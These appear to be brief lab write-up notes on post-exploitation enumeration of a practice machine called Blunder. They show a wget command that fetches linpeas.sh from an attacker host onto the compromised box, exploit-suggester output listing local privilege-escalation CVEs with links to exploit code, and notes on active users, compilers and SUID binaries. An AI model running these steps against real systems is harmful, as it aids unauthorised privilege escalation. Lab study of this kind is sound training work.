InfoSec LAB

Blunder_Automated

Created: 2 min read

PEAS

www-data@blunder:/dev/shm$ wget -q http://10.10.14.17/linpeas.sh ; chmod 755 /dev/shm/linpeas.sh

Delivery complete

Executing PEAS

CVEs

╔══════════╣ Executing Linux Exploit Suggester
╚ https://github.com/mzet-/linux-exploit-suggester
cat: write error: Broken pipe
cat: write error: Broken pipe
[+] [CVE-2021-4034] PwnKit
 
   Details: https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt
   Exposure: probable
   Tags: [ ubuntu=10|11|12|13|14|15|16|17|18|19|20|21 ],debian=7|8|9|10|11,fedora,manjaro
   Download URL: https://codeload.github.com/berdav/CVE-2021-4034/zip/main
 
[+] [CVE-2021-3156] sudo Baron Samedit 2
 
   Details: https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txt
   Exposure: probable
   Tags: centos=6|7|8,[ ubuntu=14|16|17|18|19|20 ], debian=9|10
   Download URL: https://codeload.github.com/worawit/CVE-2021-3156/zip/main
 
[+] [CVE-2022-32250] nft_object UAF (NFT_MSG_NEWSET)
 
   Details: https://research.nccgroup.com/2022/09/01/settlers-of-netlink-exploiting-a-limited-uaf-in-nf_tables-cve-2022-32250/
https://blog.theori.io/research/CVE-2022-32250-linux-kernel-lpe-2022/
   Exposure: less probable
   Tags: ubuntu=(22.04){kernel:5.15.0-27-generic}
   Download URL: https://raw.githubusercontent.com/theori-io/CVE-2022-32250-exploit/main/exp.c
   Comments: kernel.unprivileged_userns_clone=1 required (to obtain CAP_NET_ADMIN)
 
[+] [CVE-2022-2586] nft_object UAF
 
   Details: https://www.openwall.com/lists/oss-security/2022/08/29/5
   Exposure: less probable
   Tags: ubuntu=(20.04){kernel:5.12.13}
   Download URL: https://www.openwall.com/lists/oss-security/2022/08/29/5/1
   Comments: kernel.unprivileged_userns_clone=1 required (to obtain CAP_NET_ADMIN)
 
[+] [CVE-2021-3156] sudo Baron Samedit
 
   Details: https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txt
   Exposure: less probable
   Tags: mint=19,ubuntu=18|20, debian=10
   Download URL: https://codeload.github.com/blasty/CVE-2021-3156/zip/main
 
[+] [CVE-2021-22555] Netfilter heap out-of-bounds write
 
   Details: https://google.github.io/security-research/pocs/linux/cve-2021-22555/writeup.html
   Exposure: less probable
   Tags: ubuntu=20.04{kernel:5.8.0-*}
/exploit.cd URL: https://raw.githubusercontent.com/google/security-research/master/pocs/linux/cve-2021-22555
   ext-url: https://raw.githubusercontent.com/bcoles/kernel-exploits/master/CVE-2021-22555/exploit.c
   Comments: ip_tables kernel module must be loaded
 
[+] [CVE-2019-18634] sudo pwfeedback
 
   Details: https://dylankatz.com/Analysis-of-CVE-2019-18634/
   Exposure: less probable
   Tags: mint=19
   Download URL: https://github.com/saleemrashid/sudo-cve-2019-18634/raw/master/exploit.c
   Comments: sudo configuration requires pwfeedback to be enabled.

CVE-2021-4034 CVE-2021-3156

Services

Judging by the listed services above, the target system appears to be a Desktop

Networks

PEAS also picked up active sockets including 127.0.0.1:631, which is likely reserved for cupd process

Active Session

The shuan user has an active session to the system

www-data@blunder:/dev/shm$ w
 10:50:43 up  5:17,  1 user,  load average: 0.00, 0.06, 0.07
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
shaun    :0       :0               05:33   ?xdm?   7:40   0.01s /usr/lib/gdm3/gdm-x-session --run-script env GNOME_SHELL_SESSION_MODE=ubuntu /usr/bin/gnome-session --systemd --session=ubuntu

Compilers

There are compilers installed

Wireless Config

FTP

SUIDs

PEAS flagged the SUIDs above

Files modified in the last 5 mins

Interactive Graph View

Backlinks